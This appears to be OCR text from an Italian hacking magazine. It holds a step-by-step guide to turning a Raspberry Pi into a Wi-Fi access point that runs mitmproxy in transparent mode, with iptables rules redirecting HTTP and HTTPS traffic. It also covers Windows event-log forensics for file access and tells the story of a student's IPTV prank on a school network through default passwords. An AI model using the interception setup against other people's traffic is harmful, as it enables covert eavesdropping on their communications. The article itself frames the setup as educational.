Questa funzione è affidata
al loader il quale carica i codici
macchina del programma nella
memoria del sistema e solo a
questo punto il sistema operativo
avvia il programma passando
il controllo al codice caricato
[figura #6]. Vedremo nel prossimo
appuntamento come utilizzare
i risultati fin qui conseguiti.
45 
 HOW TO

La spia sta nel mezzo! SECONDA

PARTE

Dopo aver visto come preparare il server DHCP, in questa seconda

parte vedremo come installare e configurare Mitmproxy

IN BREVE  el precedente numero
La procedura guidata per
installare e configurare su
una Raspberry Pi un proxy
che si occupi di intercettare
il traffico di rete dei client
che lo utilizzeranno.
DIFFICOLTÀ
N
vi abbiamo spiegato
come installare il server
DHCP (isc-dhcp-server)
indispensabile a fornire dinamicamente
gli indirizzi IP ai client che si
connetteranno all’AP. Prima
di procedere con l’installazione e la
configurazione di Mitmproxy occorre
prendere in considerazione hostapd,
che di default conserva un file di
configurazione di esempio nella cartella
/usr/share/doc/hostapd. Bisognerà
pertanto copiarlo nel percorso giusto
e quindi aprirlo con l’editor di testo:
cd /etc/hostapd/
sudo cp /usr/share/doc/hostapd/
examples/hostapd.conf .
sudo nano /etc/hostapd/hostapd.
conf
Una volta aperto il file bisognerà
individuare e modificare tutte le
variabili indicate di seguito, a volte
modificando i valori predefiniti
e a volte decommentandole:

interface=wlan0
ssid=NOME_DELL’ACCESS POINT
macaddr_acl=0

Se avete intenzione di acquistare

la Raspberry Pi 3 MODEL B+, che integra
il Wi-Fi, date un’occhiata al sito Amazon
all’indirizzo https://bit.ly/rasp3kit.
Su https://bit.ly/buyraspy4, invece,
potete acquistare il modello RP 4.

 46

Un proxy Man In The Middle è un
software che “ascolta” il traffico in
uscita generato dai client della rete
auth_algs=1
wmm_enabled=0
wpa=2
wpa_passphrase=PASSWORD_
DELL’ACCESS_POINT
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
Ovviamente, nei campi ssid
e wpa_passfrase andranno
inseriti il nome e la password del
nuovo Access Point. Ultimo passo
per quanto riguarda hostapd sarà
quello di indicare al software il file
di configurazione da usare per il
suo funzionamento, intervenendo
sul file /etc/default/hostapd e
modificandolo come segue:
sudo nano /etc/default/hostapd
DAEMON_CONF=”/etc/hostapd/
hostapd.conf”
A questo punto siete pronti
per installare Mitmproxy.
INSTALLATE IL PROXY
Il miglior modo per installare
Mitmproxy è quello di utilizzare
pip, ovvero il package manager di
Python. Qualora il vostro sistema
ne fosse sprovvisto sarà possibile
installarlo con APT:
sudo apt-get install python3-
pip
Dopo l’eventuale installazione
di pip (che potrebbe richiedere
un po’ di tempo), la vera e propria
installazione di Mitmproxy sarà
un semplicissimo
sudo pip3 install mitmproxy
Per verificare che tutto sia andato
per il meglio potrete lanciare
il programma anche da utente
semplice, verificandone il numero
di versione:
mitmproxy --version
Mitmproxy: 5.3.0
Python: 3.7.3
OpenSSL: OpenSSL 1.1.1d 10
Sep 2019
Platform: Linux-5.10.17-v7+-
armv7l-with-debian-10.9
Non essendo Mitmproxy un vero
e proprio demone della
distribuzione, sarà necessario
creare alcuni file che si
occuperanno di lanciare
il programma a ogni avvio del
sistema. Create quindi un file
all’interno della cartella utente, con
il contenuto indicato di seguito:
nano /home/pi/start_mitmweb.sh
#!/bin/bash
mitmweb --mode transparent
--web-port 9090 --web-host
0.0.0.0 &>> /var/log/mitmweb.
log
Con questi argomenti specificati,
il proxy dovrà agire in modalità
“trasparente” per forwardare le
richieste e le risposte dopo averle
“ispezionate” e che dovrà mettersi
in ascolto sulla porta 9090.
Ovviamente bisognerà rendere
eseguibile questo file assegnando
i corretti permessi con chmod 755
/home/pi/start_mitmweb.sh.
MITM
Per far sì che anche Mitmproxy
venga riconosciuto come un
servizio da systemd, dovrete
creare un file “servizio”:
sudo nano /etc/systemd/system/
mitmweb.service
[Unit]
Description=mitmweb service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/home/pi/start_
mitmweb.sh
Restart=on-failure
RestartSec=5
Poi abilitate il servizio appena
creato con i seguenti comandi:
sudo systemctl daemon-reload
sudo systemctl enable mitmweb.
service
La configurazione di Mimtproxy
è terminata. Rimangono
da impostare su iptables le regole
per il forwarding del traffico
di rete dalla wlan alla rete esterna
passando per l’interfaccia LAN.
Avvertenza
U n proxy Man In The Middle
può essere usato per scopi
non propriamente “etici”, visto
il suo intrinseco funzionamento
come “intercettatore” di traffico.
Per questo motivo consigliamo
l’utilizzo di tali strumenti
per scopi meramente
didattici/accademici
o puramente dimostrativi.
47 
 HOW TO
A sei anni dall’uscita della
prima Raspberry Pi Zero, è stata
rilasciata Raspberry Pi Zero 2W.
Nel video all’URL bit.ly/hj258_nrpz
trovate tutte le caratteristiche
tecniche del nuovo SBC.
REGOLE DI FORWARDING
Al fine di intercettare
correttamente il traffico tra
le due interfacce di rete
della Raspberry Pi, è necessario
creare delle regole per il firewall
di default installato su Linux,
il famosissimo e temutissimo
(per le sue tantissime
configurazioni) iptables.
Senza creare alcun file
di configurazione, sarà
sufficiente lanciare da shell
i seguenti comandi:
sudo iptables -A FORWARD -i
eth0 -o wlan0 -m state --state
RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i
wlan0 -o eth0 -j ACCEPT
sudo iptables -t nat -A
POSTROUTING -o eth0 -j
MASQUERADE
sudo iptables -t nat -A
PREROUTING -i wlan0 -p tcp -m
tcp --dport 80 -j REDIRECT
--to-ports 8080
sudo iptables -t nat -A
PREROUTING -i wlan0 -p tcp -m
tcp --dport 443 -j REDIRECT
--to-ports 8080
e in seguito salvare la
configurazione di iptables
in un file, che richiamerete
a ogni avvio del sistema tramite
il file /etc/rc.local.
Con Mitmproxy scoprirete se qualche
intruso si è intrufolato di nascosto
nella vostra rete di casa o aziendale
 48
sudo sh -c “iptables-save >
/etc/iptables.up.rules”
sudo nano /etc/rc.local
iptables-restore <
/etc/iptables.up.rules
Ultima operazione per quanto
riguarda le impostazioni
di rete è quella di “dire” al sistema
di abilitare il forwarding
da una rete all’altra lanciando
il seguente comando:
sudo sysctl -w net.ipv4.ip_
forward=1
e rendendo persistenti
le impostazioni, modificando
il file nano /etc/sysctl.conf
decommentando il seguente rigo:
# Uncomment the next line to
enable packet forwarding for
IPv4 net.ipv4.ip_forward=1
È giunto infine il momento
di riavviare il sistema, con sudo
reboot, e iniziare a testare il nuovo
Access Point appena creato.
IL PRIMO TEST
Se tutto è andato per il meglio
potrete utilizzare un dispositivo
Wi-Fi (smartphone, tablet o PC)
per verificare la presenza dell’AP
appena creato. Avviate la ricerca
delle reti wireless e connettetevi
utilizzando la password impostata
in precedenza. Contestualmente,
utilizzando una macchina
connessa alla rete LAN, visitate
con un browser l’indirizzo IP della
Raspberry usando la porta indicata
nella configurazione di Mitmproxy
(http://192.168.10.45:9090 nel
nostro caso). Attendete qualche
secondo e visitate un qualsiasi
sito dal vostro dispositivo Wi-Fi
connesso all’Access Point.
Nella pagina Web di Mitmproxy
troverete tutto il traffico generato
dal vostro smartphone, tablet o PC
connesso al Wi-Fi. Tramite i tab
request, response e details
dell’interfaccia Web è possibile
analizzare nel dettaglio il flusso
del traffico generato dai client.
 ABBONATI
ALLA TUA RIVISTA PREFERITA
TE LA SPEDIAMO APPENA STAMPATA!

CONSEGNA GARANTITA ENTRO 48H

Con l’abbonamento
cartaceo la versione
Riceverai 12 numeri a soli

33
digitale è in OMAGGIO!

,90€
invece di 46 ,80€ DISPONIBILE ANCHE SOLO
IN VERSIONE DIGITALE

Scansiona il QrCode per abbonarti oppure contattaci

Telefono online email WhatsApp
02 87168197 www.sprea.it/hackerjournal abbonamenti@sprea.it 329 3922420
Solo messaggi
Informativa ex Art.13 LGS 196/2003. I suoi dati saranno trattati da Sprea SpA, nonché dalle società con essa in rapporto di controllo e collegamento ai sensi dell’art. 2359 c.c. titolari del trattamento, per dare corso alla sua richiesta di abbonamento. A tale scopo, è indispensabile il conferimento dei dati anagrafici. Inoltre
previo suo consenso i suoi dati potranno essere trattati dalle Titolari per le seguenti finalità: 1) Finalità di indagini di mercato e analisi di tipo statistico anche al fine di migliorare la qualità dei servizi erogati, marketing, attività promozionali, offerte commerciali anche nell’interesse di terzi. 2) Finalità connesse alla comunica-
zione dei suoi dati personali a soggetti operanti nei settori editoriale, largo consumo e distribuzione, vendita a distanza, arredamento, telecomunicazioni, farmaceutico, finanziario, assicurativo, automobilistico e ad enti pubblici ed Onlus, per propri utilizzi aventi le medesime finalità di cui al suddetto punto 1) e 2). Per tutte
le finalità menzionate è necessario il suo esplicito consenso. Responsabile del trattamento è Sprea SpA via Torino 51 20063 Cernusco SN (MI). I suoi dati saranno resi disponibili alle seguenti categorie di incaricati che li tratteranno per i suddetti fini: addetti al customer service, addetti alle attività di marketing, addetti al
confezionamento. L’elenco aggiornato delle società del gruppo Sprea SpA, delle altre aziende a cui saranno comunicati i suoi dati e dei responsabili potrà in qualsiasi momento essere richiesto al numero +39 0287168197 “Customer Service”. Lei può in ogni momento e gratuitamente esercitare i diritti previsti dall’articolo 7
del D.Lgs.196/03 – e cioè conoscere quali dei suoi dati vengono trattati, farli integrare, modificare o cancellare per violazione di legge, o opporsi al loro trattamento – scrivendo a Sprea SpA via Torino 51 20063 Cernusco SN (MI).
 HOW TO
Accessi al Vediamo come tracciare
gli accessi al filesystem
del nostro PC!
filesystem svelati!
N
IN BREVE  ell’ultima puntata abbiamo
Impariamo a usare imparato a impostare
gli strumenti di analisi l’audit su una directory
dei log del sistema del filesystem (leggete
operativo di casa
il box Audit & filesystem), grazie
Microsoft.
al quale siamo riusciti a individuare
DIFFICOLTÀ alcune delle attività eseguite
sulla directory C:\IMPORTANTE
dal nostro utente di prova (utente2)
che utilizziamo per simulare l’operato
di un attaccante.
Nonostante i nostri sforzi, tuttavia,
è risultato praticamente impossibile
ricostruire in maniera precisa le attività
compiute dall’utente sul filesystem:
mediante una ricerca per ID, effettuata
con Event Viewer, siamo infatti riusciti
a recuperare alcune delle operazioni
tracciate dal sistema operativo
relativamente alle attività di utente2,
senza tuttavia riuscire a ottenere
figura #1
L’evento 4656 relativo
a un accesso di utente2
al file C:\IMPORTANTE\
eseguibile.bat.
 50
SETTIMA
PARTE
un “filo conduttore” che ci consentisse
di ricostruire la storia degli accessi
compiuti sui file.
EVENTO 4656
L’evento esaminato nel corso delle
nostre indagini è quello con ID 4656,
“An handle to an object was
requested”. Si tratta di un evento
generato a ogni tentativo d’accesso
di un utente a una risorsa (che sia file
oppure directory) sottoposta ad audit,
e consente di ottenere informazioni
rilevanti come:
• l’utente che ha provato a eseguire
l’accesso (di cui, nella sezione Subject,
vengono riportati username – campo
Account Name, SID – campo Security
ID e i dati identificativi della sessione
di lavoro durante la quale è avvenuto il
tentativo d’accesso – campo Logon ID);
• l’oggetto verso cui è rivolto il tentativo
d’accesso (con indicazione, nella
sezione Object, del tipo – campo
Object Type, del nome – Object
Name e, soprattutto, del cosiddetto
Handle ID, un valore numerico
– non ripetibile sino al successivo
reboot della macchina, al pari
del “Logon ID” – utilizzabile proprio
come “filo conduttore” per ricostruire
le operazioni compiute sul singolo
oggetto);
• il processo attraverso il quale è
avvenuto il tentativo d’accesso (di cui
 LOG DI WINDOWS
nella sezione Process Per attivare le funzionalità di audit
information possiamo conoscere
il nome – Process Name e l’ID in Windows dobbiamo usare il Local
– Process ID); Group Policy Editor (gpedit.msc)
• la tipologia d’accesso richiesto
(sezione Access request
information, con l’indicazione figura #2
dei permessi richiesti nel campo
Accesses).

RICERCA PER ID
Dalla descrizione appena fornita
non è difficile capire come i singoli
eventi 4656 siano in grado
di fornire esclusivamente
un’indicazione “puntuale”
di quanto avvenuto su un singolo
oggetto del filesystem, come
abbiamo verificato nel corso
delle indagini condotte nell’ultima
puntata. Ricorrendo alle
funzionalità di Event Viewer, L’interrogazione in PowerShell per
individuare la lista degli eventi
infatti, siamo riusciti a individuare
loggati sul file, a partire dal relativo
Handle ID.

Audit & filesystem (in modo abbastanza fortunoso)

Per poter esaminare i log degli accessi al filesystem, dobbiamo innanzitutto un evento piuttosto interessante,
attivare l’audit su (almeno) una delle directory del nostro disco. A tal fine: ottenuto mediante la
• creiamo una directory ad hoc sotto il disco C: che chiameremo combinazione di una ricerca per
IMPORTANTE, quindi clicchiamo con il tasto destro del mouse sulla cartella ID e di una ricerca per contenuti.
e selezioniamo dal menu contestuale la voce Properties;
Si tratta di un tentativo d’accesso
• selezioniamo il tab Security e clicchiamo il pulsante Advanced;
• nella nuova finestra così visualizzata dobbiamo selezionare – ancora una – da parte di utente2 – al file
volta – il tab Auditing, avendo cura di confermare la nostra scelta mediante C:\IMPORTANTE\eseguibile.bat
la pressione del tasto Continue; [figura #1]: ma se desideriamo
• finalmente avremo accesso alla finestra per l’impostazione dell’audit sulla ottenere un risultato più completo
directory: premiamo il pulsante Add per aggiungere quella che Windows
chiama audit entry, quindi clicchiamo Select a principal per selezionare e mirato, senza doverci basare su
il target dell’audit (è sufficiente digitare il nome users nel campo Enter the colpi di fortuna come quello in cui
object name to select e premere successivamente Check names per ci siamo imbattuti, una semplice
vedere finalmente selezionato il gruppo Users della nostra macchina ricerca per ID non è sufficiente.
locale, e sottoporre così ad audit ogni accesso degli utenti sulla cartella);
• confermiamo la nostra scelta premendo il pulsante OK quindi, una volta
tornati alla finestra per l’impostazione dell’audit, assicuriamoci di RICOLLEGARE GLI EVENTI
selezionare i checkbox relativi alle attività che intendiamo monitorare, Ricostruire tutte le attività
ovvero: read & execute, list folder contents, read, write; compiute su un oggetto – o da un
• premiamo il tasto OK per confermare le operazioni compiute e chiudere determinato utente – nell’ambito
tutte le finestre aperte nel corso del procedimento;
• riempiamo la nostra directory con un congruo numero di file di una sessione di lavoro richiede
da monitorare. infatti una serie di operazioni più
complesse. Operazioni che, per

51 
 HOW TO
forza di cose, comportano una
correlazione tra gli eventi generati
sull’oggetto d’interesse… quel
genere di correlazioni consentite
dall’Handle ID, non a caso
intercettato (e tracciato)
dall’evento 4656. L’Handle ID
identifica univocamente un
oggetto tra due reboot consecutivi
della macchina: ciò significa che,
per esempio, nel corso della
sessione di lavoro durante la
quale è stato tracciato l’evento in
[figura #1], il valore dell’Handle ID
XPath
Si tratta di un linguaggio
pensato per la ricerca
di informazioni all’interno
di un documento XML ed
è supportato, in uno specifico
sottoinsieme della sua versione
1.0, dal sistema di log di
Windows. I log sono infatti
conservati nativamente
in formato XML, e per questo
si prestano perfettamente
ad essere interrogati
mediante query XPath.
 52
figura #3
del file C:\IMPORTANTE\eseguibile.
bat è pari a 0x14c. Proviamo allora
a effettuare una ricerca nel
registro Security per questo
valore specifico, utilizzando
stavolta PowerShell.
RICERCA CON POWERSHELL
Avviamo PowerShell come
amministratore ed eseguiamo
il comando
> Get-WinEvent
-FilterHashtable @{
LogName=’Security’;
data=’0x014c’}
che, per l’appunto, chiede
di selezionare la lista degli
eventi del registro Security
contenenti il valore dell’Handle
ID di nostro interesse [figura #2].
Se desideriamo visualizzare
i dettagli di ogni singolo evento
Grazie a Event Viewer scopriamo
gli eventi e gli errori avvenuti
sul nostro sistema Windows
Con il comando in figura possiamo
accedere anche ai contenuti
dei singoli eventi.
figura #4
I contenuti del file C:\
IMPORTANTE\file_importante.txt.
della lista è bene optare
per il comando visibile
in [figura #3]:
> Get-WinEvent
-FilterHashtable @{
LogName=’Security’;
data=’0x014c’} | Format-List
Possiamo ripetere questo
procedimento anche per altri
file presenti nella medesima
directory: per esempio,
C:\IMPORTANTE\file_
importante.txt, che contiene dati
particolarmente sensibili [figura
#4], ovvero le credenziali di alcuni
account relativi a servizi finanziari,
home banking compreso.
In questo caso, l’Handle ID è pari
a 0x11c, come testimonia l’evento
4656 in [figura #5], ottenuto
a seguito di un’apposita ricerca
condotta con Event Viewer.

L’evento 4656 relativo a un accesso di utente2 al file C:\IMPORTANTE\
file_importante.txt, da cui possiamo ricavare il relativo Handle ID.
UN’ALTRA VIA
Chi ha avuto accesso a questo file,
e quali operazioni vi ha compiuto?
Vediamo cosa ci può rivelare
al riguardo PowerShell, reiterando
il medesimo comando già visto
per il file batch:
> Get-WinEvent
-FilterHashtable @{
LogName=’Security’;
data=’0x011c’}
Il risultato [figura #6], ancora una
volta, è una lista troppo corposa
per essere esaminata in tempi
brevi senza un’adeguata
scrematura. Stiamo infatti
parlando di 19 eventi, numero
ricavabile ricorrendo alla cmdlet
Measure-Object [figura #7]
> Get-WinEvent
-FilterHashtable @{
LogName=’Security’;
data=’0x011c’} |
Measure-Object
che costituisce un piccolo “asso
nella manica” in grado di tornare
utile nel corso delle nostre
indagini sul filesystem. Se anche
figura #5
fossimo disposti a controllare uno
per uno i 19 eventi (attenzione:
stiamo parlando di un laboratorio,
in un sistema reale l’output del
nostro comando potrebbe essere
più corposo), ci scontreremmo
comunque con una verità
ineluttabile: leggere, interpretare
e correlare diversi eventi tramite
PowerShell è tutt’altro che
comodo e immediato.
L’interrogazione in PowerShell per individuare la lista degli eventi loggati
su file_importante.txt, a partire dal relativo Handle ID...
LOG DI WINDOWS
XPATH
Meglio tornare, piuttosto, a Event
Viewer e alla sua visualizzazione
più user friendly. Se il nostro
scopo è quello di capire cosa
sia accaduto all’archivio file-
importante.txt, tuttavia, le query
standard di Event Viewer non
sono sufficienti: abbiamo bisogno
di scomodare una nostra vecchia
conoscenza, XPath (vedi il box
omonimo). Il procedimento
per effettuare una query XPath
non è complesso:
• dalla schermata principale
di Event Viewer, selezioniamo
il registro Security mediante
le voci Windows Logs | Security
presenti sul pannello sinistro del
programma, quindi premiamo
il pulsante “Filter current log”
per avviare una query guidata;
• inseriamo, come ID da filtrare,
il 4656;
• spostiamoci sul secondo tab,
denominato XML, in modo da
figura #6
figura #7
… si tratta di 19 eventi.
53 
 HOW TO

Con PowerShell accediamo velocemente

ai log degli eventi, ma serve XPath
per capirne meglio l’output
potremo finalmente vedere indicando il momento in cui
la query all’opera. il processo e l’utente individuati
dall’evento 4656 hanno terminato
OPERAZIONI SUL FILE di utilizzare l’oggetto.
I risultati della nostra

figura #8 interrogazione non ci deludono:

in particolare, possiamo notare
ESAME DEGLI EVENTI
Per capire cosa sia avvenuto
La query XPath per ottenere
[figura #9] una terna di eventi sul file C:\IMPORTANTE\file_
l’elenco degli eventi loggati
su file_importante.txt. (gli ultimi, in ordine cronologico) importante.txt, non ci resta
decisamente interessante. che esaminare nel dettaglio
visualizzare la query XPath Osserviamo con più attenzione le occorrenze dei due eventi che
corrispondente ai criteri di filtro i singoli eventi di questa terna: abbiamo appena individuato. A tal
sinora inseriti. oltre al solito ID 4656, possiamo riguardo, l’evento 4663 [figura
notare due eventi mai osservati #10] si rivela particolarmente
QUERY XPATH in precedenza. Si tratta degli prodigo di informazioni,
A questo punto, selezioniamo eventi con i seguenti ID: consentendoci di dedurre che:
il check box Edit query manually, • 4663, “An attempt was made • il file è stato interessato da un
quindi modifichiamo to access on object”, che viene accesso alle ore 8:52 del 25 luglio,
l’interrogazione secondo le nostre generato quando si concretizza a cura di utente2 (sezione Subject,
necessità [figura #8]: per la prima volta il tentativo campo Account Name);
d’accesso loggato dall’evento • l’accesso (in lettura, come
<Query List> 4656; ci segnala il campo Accesses
<Query Id=”0” • 4658, “The handle of an object della sezione Access Request
Path=”Security”> was closed”, che invece segnala Information) è stato ottenuto
<Select l’avvenuta chiusura di un file, tramite cmd.exe (ovvero il prompt
Path=”Security”>*[System[
(EventID>0)]]
and

*[EventData[Data[@
Name=’HandleId’]=’0x11c’]]
</Select>
</Query>
</Query List>

In questo modo abbiamo richiesto

di selezionare qualsiasi evento
(System[(EventID>0)])
riguardante l’Handle ID del file
(EventData[Data[@
figura #9
Name=’HandleId’]=’0x11c’): Con Event Viewer è molto più semplice organizzare gli eventi restituiti
cliccando sul pulsante OK, dalla query… ecco gli ultimi tre, i più interessanti per la nostra indagine.

 54
 LOG DI WINDOWS
dei comandi, vedi il campo
Process Name della sezione figura #10
Process Information).
Al contrario, l’evento 4658 è più L’evento 4663
parco di dettagli [figura #11], ci rivela che l’accesso
ma ci conferma che, subito a file_importante.txt
dopo l’accesso in lettura, l’handle è avvenuto tramite
del file è stato chiuso dal suddetto riga di comando…
prompt dei comandi (come
peraltro confermato anche
dall’orario associato a tale
evento, che è il medesimo
dell’evento 4663).

L’INTERPRETAZIONE
Adesso che abbiamo il quadro
degli eventi tracciati da Windows,
non ci resta che dedicarci alla
parte più complessa della nostra
analisi, ovvero l’interpretazione.
Cosa è accaduto realmente al file
C:\IMPORTANTE\file_importante.
txt contenente le credenziali dei
nostri conti bancari? Mettendo
insieme quanto riportato dagli
eventi 4656, 4663 e 4658, figura #11
possiamo senz’altro affermare
che utente2:
• ha avviato il prompt dei comandi … e l’evento 4658,
sulla macchina; invece, che il file
è stato chiuso
• ha avuto accesso ai contenuti subito dopo.
del file tramite la riga di comando,
usando quindi un comando
come type o more in luogo
del classico Notepad;
• non ha effettuato modifiche
al file (quindi perlomeno l’integrità
dei suoi contenuti è salva).
In altri termini, le nostre
informazioni bancarie sono ormai
in possesso dell’attaccante,
il quale non si è senz’altro
fermato qui: ma per indagare
più a fondo sulle attività malevole
condotte da utente2 sul nostro
filesystem, dovete attendere
il prossimo numero…

55 
 HACKULTURE

Come ti R i c k r o l l o
la scuola

GLOSSARIO
DI BASE
PRANKING
co co m ’è an da to l’a ttacco hacker che
Ec
Gli hacker amano i trucchi e gli
istrazione scolastica
scherzi maliziosi, specialmente ha mostrato all’ammin
e della sua rete.
dell’Illinois le debolezz
quelli pratici, in cui viene fatto
qualcosa piuttosto che detto.
Si chiama fare pranking.
Sarà finito tutto bene?

L’
insicurezza dei su Internet succedono cose brutte, dell’Illinois (USA). La rete del
dispositivi attaccati se non ci si protegge. È quindi distretto, che comprende sei
alla rete è ormai quasi criminale il modo con istituti e ospita più di undicimila
diventata materia il quale vengono configurati studenti, è stata bucata senza
di leggenda e infiniti aneddoti. gli apparecchi connessi e le reti pietà facendo girare il video della
I protocolli di Internet sono nati che li supportano. È come se canzone “Never Gonna Give You
in un’epoca ingenua, in cui gli chiedessero di essere violati. Up” su qualsiasi display connesso
scienziati che collegavano tra loro presente nella rete scolastica, con
i mainframe delle università non L’ATTACCO ALLA RETE una sincronizzazione perfetta e
pensavano che avrebbero mai È quello che ha pensato Minh, senza latenze. Nessuno schermo
visto attacchi “hacker” alle proprie lo studente-hacker che il 30 aprile si è salvato, né quelli della mensa
reti. Oggi la diffusione dell’IoT del 2021 ha fatto Rickrolling (se con il menu del pranzo, né i
(Internet of Things) sicuramente non sapete cos’è, leggete il box in proiettori delle classi e neanche
appartiene a un’epoca queste pagine) dell’intero distretto i monitor nelle hall con gli orari
disincantata in cui tutti scolastico, il Township High School delle lezioni. Come ha fatto Minh?
dovrebbero sapere che District 214, uno dei più grandi Semplice: l’ha spiegato lui stesso
aiutando lo staff IT del distretto
scolastico a mettere finalmente
I dispositivi IoT sono in circolazione ormai
la rete in ordine, per prevenire
da anni, ma per qualche motivo la loro possibili attacchi maligni. Per farlo
resistenza agli attacchi è ancora limitata... ha realizzato un report di 26

 56

pagine che documenta tutte le fasi
del pentest. Ovviamente, spiega
l’hacker, quel che ha fatto assieme
alla sua piccola posse è stato
fortemente illegale. Ma il distretto
214 ha voluto cogliere l’aspetto
positivo e sfruttare in maniera
creativa la competenza: invece,
dice Minh, “altri distretti
mi avrebbero sicuramente
denunciato”.
IL PROGETTO INIZIALE
Il nostro Minh ha iniziato anni
prima ad appassionarsi alla scena
dell’hacking e a cercare di capire
come funzionavano le reti attorno
a lui. In particolare, Minh racconta
che questa sua “fase da script
kiddie” gli ha insegnato come fare
lo scan di tutto quello che era
connesso alla rete della scuola
senza farsi beccare, o almeno così
pensava. Quella prima manovra
non aveva comportato alcuna
conseguenza se non di esporre
8,3 milioni di indirizzi IP
dell’address space 10.0.0.0/8, con
stampanti, telefoni IP, monitor,
videocamere di sicurezza:
centinaia di apparecchi senza
alcun tipo di autenticazione.
Sorpresa musicale!
Direttamente dalla fine degli anni ‘80 del secolo scorso giunge la canzone
usata dallo studente hacker per burlarsi di un intero distretto scolastico.
RICKROLLING
COS’È IL RICKROLLING
Si tratta di uno scherzo e al tempo stesso di un meme che sfrutta il video musicale
della canzone del 1987 “Never Gonna Give You Up” di Rick Astley. Il meme/scherzo
consiste in un’esca che attiva il video: una persona fornisce un collegamento iperte-
stuale apparentemente rilevante per l’argomento di cui si sta parlando, ma in realtà
questo porta al video di Astley che parte e gira in loop. Il meme è quindi anche un
prank, ed è nato sulla falsariga di un altro popolare meme di 4chan dei primi anni
duemila, che si chiamava “duck rolling” (una GIF animata di un’anatra che cammi-
na) ed era diventato lo scherzo preferito da fare come pesce d’aprile. A renderlo
popolare è stato YouTube, che lo ha usato il primo d’aprile del 2008. Lo stesso anno
Rick Astley ha sfruttato la sua ritrovata popolarità per fare una apparizione a sor-
presa cantando “Never Gonna Give You Up” dal vivo durante la parata del Thanksgi-
ving a New York, organizzata dai grandi magazzini Macy. Quella, per intendersi,
con i gonfiabili che vengono fatti svolazzare lungo la Quinta Strada.
CONOSCERE IL TUO AMBIENTE su indirizzi IP ad accesso ristretto.
Prima di fare qualsiasi cosa, un E qui Minh aveva trovato che
hacker deve fare delle ricognizioni i prodotti hardware e software
e studiare le tecnologie che ha per la gestione della IPTV
trovato, sia quelle di rete che erano della stessa azienda:
dal punto di vista degli endpoint Avedia Player, Stream e Server.
e dei terminali hardware. Le blue box connesse ai proiettori
Nel caso di Minh, l’idea era di e TV si collegavano tramite SSH
attaccare il sistema IPTV che era e usavano una interfaccia Web
rimasto esposto alla rete degli per eseguire i comandi.
studenti anche dopo che il Inoltre, utilizzavano una CPU
distretto si era accorto della esoterica chiamata ARC (Argonaut
scansione e aveva “tolto” alcune RISC Core) e facevano girare
classi di apparecchi spostandoli una versione embedded di Linux
con gli strumenti della BusyBox.
Oltre agli streamer, cioè
i dispositivi che potevano gestire
lo stream del contenuto, per
esempio dal computer del
docente che deve fare lezione
e proietta le sue slide, c’erano
i server che gestivano la rete
e tutti gli apparecchi collegati: sia
i ricevitori con funzione di player
che gli streamer. Questa parte di
gestione consentiva di pianificare,
per esempio, i pannelli per la
mensa o quelli con gli orari delle
materie. Il server utilizzava CentOS
e, come gli altri, un’interfaccia Web
e un server SSH.
57 
 HACKULTURE
Un messaggio importante.
Probabilmente il docente si attendeva una comunicazione da parte della
dirigenza scolastica... e invece si è ritrovato Rick Astley sullo schermo!
PREPARARE L’ATTACCO
Passati anni, e superata la fase
più dura della pandemia del Covid
che aveva spostato la didattica
in modalità a distanza e poi ibrida,
a Minh tornano in mente gli
esperimenti sulla rete con le IPTV
e decide di provare a fare uno
scherzo, un prank memorabile.
L’idea è trasmettere qualcosa
su tutti gli schermi, ovunque,
in contemporanea.
Insomma, fare il Rickrolling della
scuola. Ma come si fa?
Basta capire la strada giusta.
Utilizzare l’interfaccia Web
per mandare comandi a tutti
i ricevitori in contemporanea vuol
dire generare un sacco di traffico
HTTP simultaneo su tutta la rete.
Meglio usare SSH e caricare in
momenti differenti un semplice
script da attivare a distanza
arrivato il momento giusto.
Lo script deve fare tre cose:
attivarsi, scaricare il video da
mostrare, mostrarlo al momento
opportuno e, una volta finito,
cancellare tutto e riportare i
settaggi del ricevitore allo stato
 58
iniziale. C’erano, inoltre, alcune
misure per essere sicuri che
nessuno dei proiettori venisse
riconfigurato o che fossero
forzate altre impostazioni.
L’ATTACCO
La prima colpa del distretto
è stata usare le password di
default, quindi una vulnerabilità
dell’implementazione del sistema.
Ma c’era anche un bug specifico
dell’hardware, che aveva la
possibilità di essere sfruttato
per far scalare i privilegi
dell’utente connesso e dargli
accesso in modalità root.
Si trattava di vulnerabilità ancora
non patchate dal produttore degli
apparecchi. Avendo il controllo
sui proiettori, c’era da gestire
lo streaming in multicast del
video: la cosa più complicata,
perché il multicast era un
problema a causa dei filtri della
L’hacker ha sfruttato il protocollo RTP,
Real-time Transport Protocol, nato per
il multicast ma usato anche in unicast
rete e usare il server Avedia per
lo stream era troppo lento. La
soluzione è stata usare ffmpeg.
SCOPERTA DELL’ULTIMA ORA
Un buon hack si basa anche sulla
capacità di reagire agli stimoli
velocemente. Così, la scoperta
tre giorni prima dell’ora zero di
una classe nuova di apparecchi
(speaker per trasmettere la
campanella di fine lezione e altri
annunci) ha portato a una rapida
corsa per forzarli e utilizzarli come
casse e amplificare la canzone
anche in contesti dove non
c’era un monitor.
L’HACK E LE CONSEGUENZE
Avendo l’obiettivo di non creare
danni, cioè di non interrompere
le lezioni, l’attacco doveva avvenire
alla stessa ora ma appena finite
le lezioni del venerdì e sicuri che
non ci fossero esami o verifiche
in corso. Dopo l’attacco, Minh
con il suo gruppo di amici ha
fornito autonomamente, prima
che fosse avviata l’indagine, tutta
la documentazione di quello che
a tutti gli effetti era stato, oltre che
un Rickrolling, anche un pentest
dal valore commerciale di decine
di migliaia di dollari (il costo di un
consulente esterno). Per questi
motivi, e per una sensibilità
non comune alle altre scuole,
l’amministrazione del distretto ha
concordato anche riunioni tra la
direzione, lo staff tecnico e Minh
con gli altri hacker della sua
piccola posse e indirizzato tutti
i problemi riscontrati. Una storia
finita decisamente bene!
hackerjournal.it

Il punto di riferimento per chi fa dell’hacking

una filosofia di vita
La crew di Hacker Journal ti aspetta ogni giorno sul suo nuovo sito Web, il ritrovo della sua ricca comunità
hacker. Troverai anticipazioni degli articoli, news dal mondo della (in)sicurezza, contest, offerte speciali e
un forum che vuole essere il punto di riferimento per chiunque voglia diventare un esperto di sicurezza.
In un periodo storico in cui governi e multinazionali si divertono a spiare tutto e tutti, sulle
pagine della rivista e sul suo sito scoprirai come difenderti e contrattaccare. #HJisBACK

Scopri il sito e la comunità di Hacker Journal

Forum: iscriviti subito e inizia a dialogare con la redazione e la comunità di HJ
• News: le ultime notizie su cyberintrusioni, furti
